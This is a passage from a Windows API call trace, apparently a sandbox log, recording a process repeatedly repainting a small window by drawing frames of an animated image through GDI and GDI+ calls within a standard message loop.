(nIndex=42) returned 0 [0109.702] CoTaskMemAlloc (cb=0x6) returned 0x1afd3b50 [0109.702] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1afd3b50, nMaxCount=1 | out: lpString="") returned 0 [0109.702] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1afd3b50) returned 0x0 [0109.703] CoTaskMemFree (pv=0x1afd3b50) [0109.703] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0109.703] GdipCreateRegion (region=0x15d710) returned 0x0 [0109.703] GdipGetClip (graphics=0x1de419c0, region=0x1de43ea0) returned 0x0 [0109.703] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0109.703] GdipGetWorldTransform (graphics=0x1de419c0, matrix=0x1dc0a590) returned 0x0 [0109.703] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0109.703] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1afbe0b0 [0109.703] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1afbe0b0) returned 0x0 [0109.703] LocalFree (hMem=0x1afbe0b0) returned 0x0 [0109.704] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0109.704] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1afbe0b0 [0109.704] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1afbe0b0) returned 0x0 [0109.706] LocalFree (hMem=0x1afbe0b0) returned 0x0 [0109.706] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0109.706] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0109.706] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de419c0, result=0x15d7c0) returned 0x0 [0109.706] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de419c0, result=0x15d780) returned 0x0 [0109.706] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de419c0, hRgn=0x15d780) returned 0x0 [0109.706] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0109.706] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0109.706] GdipGetDC (graphics=0x1de419c0, hdc=0x15d7f0) returned 0x0 [0109.706] GetCurrentObject (hdc=0x400107c2, type=0x1) returned 0x1b00017 [0109.707] GetCurrentObject (hdc=0x400107c2, type=0x2) returned 0x1900010 [0109.707] GetCurrentObject (hdc=0x400107c2, type=0x7) returned 0x1a05067e [0109.707] GetCurrentObject (hdc=0x400107c2, type=0x6) returned 0x18a002e [0109.707] SaveDC (hdc=0x400107c2) returned 1 [0109.707] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x480407c3 [0109.707] GetClipRgn (hdc=0x400107c2, hrgn=0x480407c3) returned 0 [0109.707] SelectClipRgn (hdc=0x400107c2, hrgn=0x18040b8a) returned 2 [0109.707] DeleteObject (ho=0x480407c3) returned 1 [0109.707] DeleteObject (ho=0x18040b8a) returned 1 [0109.707] OffsetViewportOrgEx (in: hdc=0x400107c2, x=0, y=0, lppt=0x2708dd0 | out: lppt=0x2708dd0) returned 1 [0109.707] GetNearestColor (hdc=0x400107c2, color=0xffffff) returned 0xffffff [0109.707] CreateSolidBrush (color=0xffffff) returned 0x20100190 [0109.707] FillRect (hDC=0x400107c2, lprc=0x15d7c0, hbr=0x20100190) returned 1 [0109.708] DeleteObject (ho=0x20100190) returned 1 [0109.708] RestoreDC (hdc=0x400107c2, nSavedDC=-1) returned 1 [0109.708] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0109.708] GdipReleaseDC (graphics=0x1de419c0, hdc=0x400107c2) returned 0x0 [0109.708] GdipRestoreGraphics (graphics=0x1de419c0, state=0xfffffffffda60dbd) returned 0x0 [0109.708] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0109.708] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0109.708] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0109.708] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0109.708] GetSystemMetrics (nIndex=42) returned 0 [0109.708] CoTaskMemAlloc (cb=0x6) returned 0x1afd3b50 [0109.708] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1afd3b50, nMaxCount=1 | out: lpString="") returned 0 [0109.708] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1afd3b50) returned 0x0 [0109.708] CoTaskMemFree (pv=0x1afd3b50) [0109.708] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0109.708] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0109.708] GdipDrawImageRectI (graphics=0x1de419c0, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0109.709] GdipGetDC (graphics=0x1de419c0, hdc=0x15dbf0) returned 0x0 [0109.709] BitBlt (hdc=0x1010b9d, x=0, y=0, cx=64, cy=64, hdcSrc=0x400107c2, x1=0, y1=0, rop=0xcc0020) returned 1 [0109.709] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0109.709] GdipReleaseDC (graphics=0x1de419c0, hdc=0x400107c2) returned 0x0 [0109.709] SelectObject (hdc=0x400107c2, h=0x185000f) returned 0x1a05067e [0109.709] DeleteDC (hdc=0x400107c2) returned 1 [0109.709] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0109.709] GdipDeleteGraphics (graphics=0x1de419c0) returned 0x0 [0109.709] SelectPalette (hdc=0x1010b9d, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0109.709] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0109.709] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0109.709] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0109.709] WaitMessage () returned 1 [0109.843] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0109.843] IsWindowUnicode (hWnd=0x2031e) returned 1 [0109.843] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0109.843] TranslateMessage (lpMsg=0x15e910) returned 0 [0109.843] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0109.843] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0109.843] GetCurrentThreadId () returned 0xec0 [0109.843] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0109.844] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0109.844] IsWindowUnicode (hWnd=0x2031e) returned 1 [0109.844] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0109.844] TranslateMessage (lpMsg=0x15e910) returned 0 [0109.844] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0109.844] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x1010b9d [0109.844] SelectPalette (hdc=0x1010b9d, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0109.844] CreateCompatibleDC (hdc=0x1010b9d) returned 0x410107c2 [0109.844] SelectObject (hdc=0x410107c2, h=0x1a05067e) returned 0x185000f [0109.844] GdipCreateFromHDC (hdc=0x410107c2, graphics=0x15daf0) returned 0x0 [0109.844] GdipTranslateWorldTransform (graphics=0x1de419c0, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0109.844] GdipSetClipRectI (graphics=0x1de419c0, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0109.844] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0109.845] GdipGetWorldTransform (graphics=0x1de419c0, matrix=0x1dc0a510) returned 0x0 [0109.845] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0109.845] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1afbe170 [0109.845] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1afbe170) returned 0x0 [0109.845] LocalFree (hMem=0x1afbe170) returned 0x0 [0109.846] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0109.846] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0109.846] GdipCreateRegion (region=0x15dc20) returned 0x0 [0109.846] GdipGetClip (graphics=0x1de419c0, region=0x1de43de0) returned 0x0 [0109.846] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de419c0, result=0x15dc50) returned 0x0 [0109.846] GdipSaveGraphics (graphics=0x1de419c0, state=0x15dd20) returned 0x0 [0109.846] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0109.846] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0109.846] GetSystemMetrics (nIndex=42) returned 0 [0109.846] CoTaskMemAlloc (cb=0x6) returned 0x4ffed0 [0109.846] GetWindowTextW (in: hWnd=0x2031e, lpString=0x4ffed0, nMaxCount=1 | out: lpString="") returned 0 [0109.846] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x4ffed0) returned 0x0 [0109.846] CoTaskMemFree (pv=0x4ffed0) [0109.846] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0109.846] GdipCreateRegion (region=0x15d710) returned 0x0 [0109.846] GdipGetClip (graphics=0x1de419c0, region=0x1de43ea0) returned 0x0 [0109.847] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0109.847] GdipGetWorldTransform (graphics=0x1de419c0, matrix=0x1dc0a590) returned 0x0 [0109.847] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0109.847] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1afbe170 [0109.847] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1afbe170) returned 0x0 [0109.847] LocalFree (hMem=0x1afbe170) returned 0x0 [0109.847] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0109.847] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1afbe170 [0109.847] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1afbe170) returned 0x0 [0109.848] LocalFree (hMem=0x1afbe170) returned 0x0 [0109.848] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0109.848] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0109.848] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de419c0, result=0x15d7c0) returned 0x0 [0109.848] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de419c0, result=0x15d780) returned 0x0 [0109.848] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de419c0, hRgn=0x15d780) returned 0x0 [0109.848] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0109.849] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0109.849] GdipGetDC (graphics=0x1de419c0, hdc=0x15d7f0) returned 0x0 [0109.849] GetCurrentObject (hdc=0x410107c2, type=0x1) returned 0x1b00017 [0109.849] GetCurrentObject (hdc=0x410107c2, type=0x2) returned 0x1900010 [0109.849] GetCurrentObject (hdc=0x410107c2, type=0x7) returned 0x1a05067e [0109.849] GetCurrentObject (hdc=0x410107c2, type=0x6) returned 0x18a002e [0109.849] SaveDC (hdc=0x410107c2) returned 1 [0109.849] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x19040b8a [0109.849] GetClipRgn (hdc=0x410107c2, hrgn=0x19040b8a) returned 0 [0109.849] SelectClipRgn (hdc=0x410107c2, hrgn=0x490407c3) returned 2 [0109.849] DeleteObject (ho=0x19040b8a) returned 1 [0109.849] DeleteObject (ho=0x490407c3) returned 1 [0109.849] OffsetViewportOrgEx (in: hdc=0x410107c2, x=0, y=0, lppt=0x270bc78 | out: lppt=0x270bc78) returned 1 [0109.849] GetNearestColor (hdc=0x410107c2, color=0xffffff) returned 0xffffff [0109.849] CreateSolidBrush (color=0xffffff) returned 0x21100190 [0109.849] FillRect (hDC=0x410107c2, lprc=0x15d7c0, hbr=0x21100190) returned 1 [0109.850] DeleteObject (ho=0x21100190) returned 1 [0109.850] RestoreDC (hdc=0x410107c2, nSavedDC=-1) returned 1 [0109.850] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0109.850] GdipReleaseDC (graphics=0x1de419c0, hdc=0x410107c2) returned 0x0 [0109.850] GdipRestoreGraphics (graphics=0x1de419c0, state=0xfffffffffda40dbd) returned 0x0 [0109.850] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0109.850] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0109.850] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0109.850] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0109.850] GetSystemMetrics (nIndex=42) returned 0 [0109.850] CoTaskMemAlloc (cb=0x6) returned 0x4ffed0 [0109.850] GetWindowTextW (in: hWnd=0x2031e, lpString=0x4ffed0, nMaxCount=1 | out: lpString="") returned 0 [0109.850] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x4ffed0) returned 0x0 [0109.850] CoTaskMemFree (pv=0x4ffed0) [0109.850] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0x5) returned 0x0 [0109.853] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0109.853] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0109.853] GdipDrawImageRectI (graphics=0x1de419c0, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0109.853] GdipGetDC (graphics=0x1de419c0, hdc=0x15dbf0) returned 0x0 [0109.853] BitBlt (hdc=0x1010b9d, x=0, y=0, cx=64, cy=64, hdcSrc=0x410107c2, x1=0, y1=0, rop=0xcc0020) returned 1 [0109.853] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0109.853] GdipReleaseDC (graphics=0x1de419c0, hdc=0x410107c2) returned 0x0 [0109.853] SelectObject (hdc=0x410107c2, h=0x185000f) returned 0x1a05067e [0109.854] DeleteDC (hdc=0x410107c2) returned 1 [0109.854] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0109.854] GdipDeleteGraphics (graphics=0x1de419c0) returned 0x0 [0109.854] SelectPalette (hdc=0x1010b9d, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0109.854] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0109.854] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0109.854] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0109.854] WaitMessage () returned 1 [0111.373] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0111.373] IsWindowUnicode (hWnd=0x2031e) returned 1 [0111.373] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0111.373] TranslateMessage (lpMsg=0x15e910) returned 0 [0111.373] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0111.373] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0111.373] GetCurrentThreadId () returned 0xec0 [0111.373] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0111.374] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0111.374] IsWindowUnicode (hWnd=0x2031e) returned 1 [0111.374] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0111.374] TranslateMessage (lpMsg=0x15e910) returned 0 [0111.374] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0111.374] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x1010b9d [0111.374] SelectPalette (hdc=0x1010b9d, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0111.374] CreateCompatibleDC (hdc=0x1010b9d) returned 0x420107c2 [0111.374] SelectObject (hdc=0x420107c2, h=0x1a05067e) returned 0x185000f [0111.374] GdipCreateFromHDC (hdc=0x420107c2, graphics=0x15daf0) returned 0x0 [0111.374] GdipTranslateWorldTransform (graphics=0x1de419c0, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0111.375] GdipSetClipRectI (graphics=0x1de419c0, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0111.375] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0111.375] GdipGetWorldTransform (graphics=0x1de419c0, matrix=0x1dc0a510) returned 0x0 [0111.375] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0111.375] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1afc9c60 [0111.375] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1afc9c60) returned 0x0 [0111.375] LocalFree (hMem=0x1afc9c60) returned 0x0 [0111.376] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0111.376] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0111.376] GdipCreateRegion (region=0x15dc20) returned 0x0 [0111.376] GdipGetClip (graphics=0x1de419c0, region=0x1d2e7c10) returned 0x0 [0111.376] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de419c0, result=0x15dc50) returned 0x0 [0111.376] GdipSaveGraphics (graphics=0x1de419c0, state=0x15dd20) returned 0x0 [0111.376] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0111.376] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0111.376] GetSystemMetrics (nIndex=42) returned 0 [0111.376] CoTaskMemAlloc (cb=0x6) returned 0x1afd3b40 [0111.376] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1afd3b40, nMaxCount=1 | out: lpString="") returned 0 [0111.376] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1afd3b40) returned 0x0 [0111.377] CoTaskMemFree (pv=0x1afd3b40) [0111.377] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0111.377] GdipCreateRegion (region=0x15d710) returned 0x0 [0111.377] GdipGetClip (graphics=0x1de419c0, region=0x1de43ea0) returned 0x0 [0111.377] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0111.377] GdipGetWorldTransform (graphics=0x1de419c0, matrix=0x1dc0a590) returned 0x0 [0111.377] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0111.377] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1afc9c60 [0111.377] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1afc9c60) returned 0x0 [0111.377] LocalFree (hMem=0x1afc9c60) returned 0x0 [0111.378] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0111.378] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1afc9c60 [0111.378] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1afc9c60) returned 0x0 [0111.378] LocalFree (hMem=0x1afc9c60) returned 0x0 [0111.378] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0111.378] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0111.378] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de419c0, result=0x15d7c0) returned 0x0 [0111.378] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de419c0, result=0x15d780) returned 0x0 [0111.378] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de419c0, hRgn=0x15d780) returned 0x0 [0111.378] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0111.379] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0111.379] GdipGetDC (graphics=0x1de419c0, hdc=0x15d7f0) returned 0x0 [0111.379] GetCurrentObject (hdc=0x420107c2, type=0x1) returned 0x1b00017 [0111.379] GetCurrentObject (hdc=0x420107c2, type=0x2) returned 0x1900010 [0111.379] GetCurrentObject (hdc=0x420107c2, type=0x7) returned 0x1a05067e [0111.379] GetCurrentObject (hdc=0x420107c2, type=0x6) returned 0x18a002e [0111.379] SaveDC (hdc=0x420107c2) returned 1 [0111.379] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x4a0407c3 [0111.379] GetClipRgn (hdc=0x420107c2, hrgn=0x4a0407c3) returned 0 [0111.379] SelectClipRgn (hdc=0x420107c2, hrgn=0x1a040b8a) returned 2 [0111.379] DeleteObject (ho=0x4a0407c3) returned 1 [0111.379] DeleteObject (ho=0x1a040b8a) returned 1 [0111.380] OffsetViewportOrgEx (in: hdc=0x420107c2, x=0, y=0, lppt=0x270d018 | out: lppt=0x270d018) returned 1 [0111.380] GetNearestColor (hdc=0x420107c2, color=0xffffff) returned 0xffffff [0111.380] CreateSolidBrush (color=0xffffff) returned 0x22100190 [0111.380] FillRect (hDC=0x420107c2, lprc=0x15d7c0, hbr=0x22100190) returned 1 [0111.380] DeleteObject (ho=0x22100190) returned 1 [0111.380] RestoreDC (hdc=0x420107c2, nSavedDC=-1) returned 1 [0111.380] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0111.380] GdipReleaseDC (graphics=0x1de419c0, hdc=0x420107c2) returned 0x0 [0111.380] GdipRestoreGraphics (graphics=0x1de419c0, state=0xfffffffffda20dbd) returned 0x0 [0111.380] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0111.380] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0111.380] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0111.381] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0111.381] GetSystemMetrics (nIndex=42) returned 0 [0111.381] CoTaskMemAlloc (cb=0x6) returned 0x1afd3b40 [0111.381] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1afd3b40, nMaxCount=1 | out: lpString="") returned 0 [0111.381] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1afd3b40) returned 0x0 [0111.381] CoTaskMemFree (pv=0x1afd3b40) [0111.381] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0111.381] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0111.381] GdipDrawImageRectI (graphics=0x1de419c0, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0111.381] GdipGetDC (graphics=0x1de419c0, hdc=0x15dbf0) returned 0x0 [0111.381] BitBlt (hdc=0x1010b9d, x=0, y=0, cx=64, cy=64, hdcSrc=0x420107c2, x1=0, y1=0, rop=0xcc0020) returned 1 [0111.381] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0111.382] GdipReleaseDC (graphics=0x1de419c0, hdc=0x420107c2) returned 0x0 [0111.382] SelectObject (hdc=0x420107c2, h=0x185000f) returned 0x1a05067e [0111.382] DeleteDC (hdc=0x420107c2) returned 1 [0111.382] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0111.382] GdipDeleteGraphics (graphics=0x1de419c0) returned 0x0 [0111.382] SelectPalette (hdc=0x1010b9d, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0111.382] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0111.382] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0111.382] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0111.382] WaitMessage () returned 1 [0112.326] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0112.327] IsWindowUnicode (hWnd=0x2031e) returned 1 [0112.327] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0112.327] TranslateMessage (lpMsg=0x15e910) returned 0 [0112.327] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0112.327] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0112.327] GetCurrentThreadId () returned 0xec0 [0112.327] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0112.327] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0112.327] IsWindowUnicode (hWnd=0x2031e) returned 1 [0112.327] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0112.327] TranslateMessage (lpMsg=0x15e910) returned 0 [0112.327] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0112.327] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x1010b9d [0112.328] SelectPalette (hdc=0x1010b9d, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0112.328] CreateCompatibleDC (hdc=0x1010b9d) returned 0x430107c2 [0112.328] SelectObject (hdc=0x430107c2, h=0x1a05067e) returned 0x185000f [0112.328] GdipCreateFromHDC (hdc=0x430107c2, graphics=0x15daf0) returned 0x0 [0112.329] GdipTranslateWorldTransform (graphics=0x1de419c0, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0112.329] GdipSetClipRectI (graphics=0x1de419c0, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0112.329] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0112.329] GdipGetWorldTransform (graphics=0x1de419c0, matrix=0x1dc0a510) returned 0x0 [0112.329] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0112.329] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1aff7e40 [0112.329] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1aff7e40) returned 0x0 [0112.330] LocalFree (hMem=0x1aff7e40) returned 0x0 [0112.330] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0112.330] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0112.330] GdipCreateRegion (region=0x15dc20) returned 0x0 [0112.330] GdipGetClip (graphics=0x1de419c0, region=0x1d2e7c10) returned 0x0 [0112.330] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de419c0, result=0x15dc50) returned 0x0 [0112.330] GdipSaveGraphics (graphics=0x1de419c0, state=0x15dd20) returned 0x0 [0112.330] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0112.330] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0112.330] GetSystemMetrics (nIndex=42) returned 0 [0112.330] CoTaskMemAlloc (cb=0x6) returned 0x4ffbd0 [0112.330] GetWindowTextW (in: hWnd=0x2031e, lpString=0x4ffbd0, nMaxCount=1 | out: lpString="") 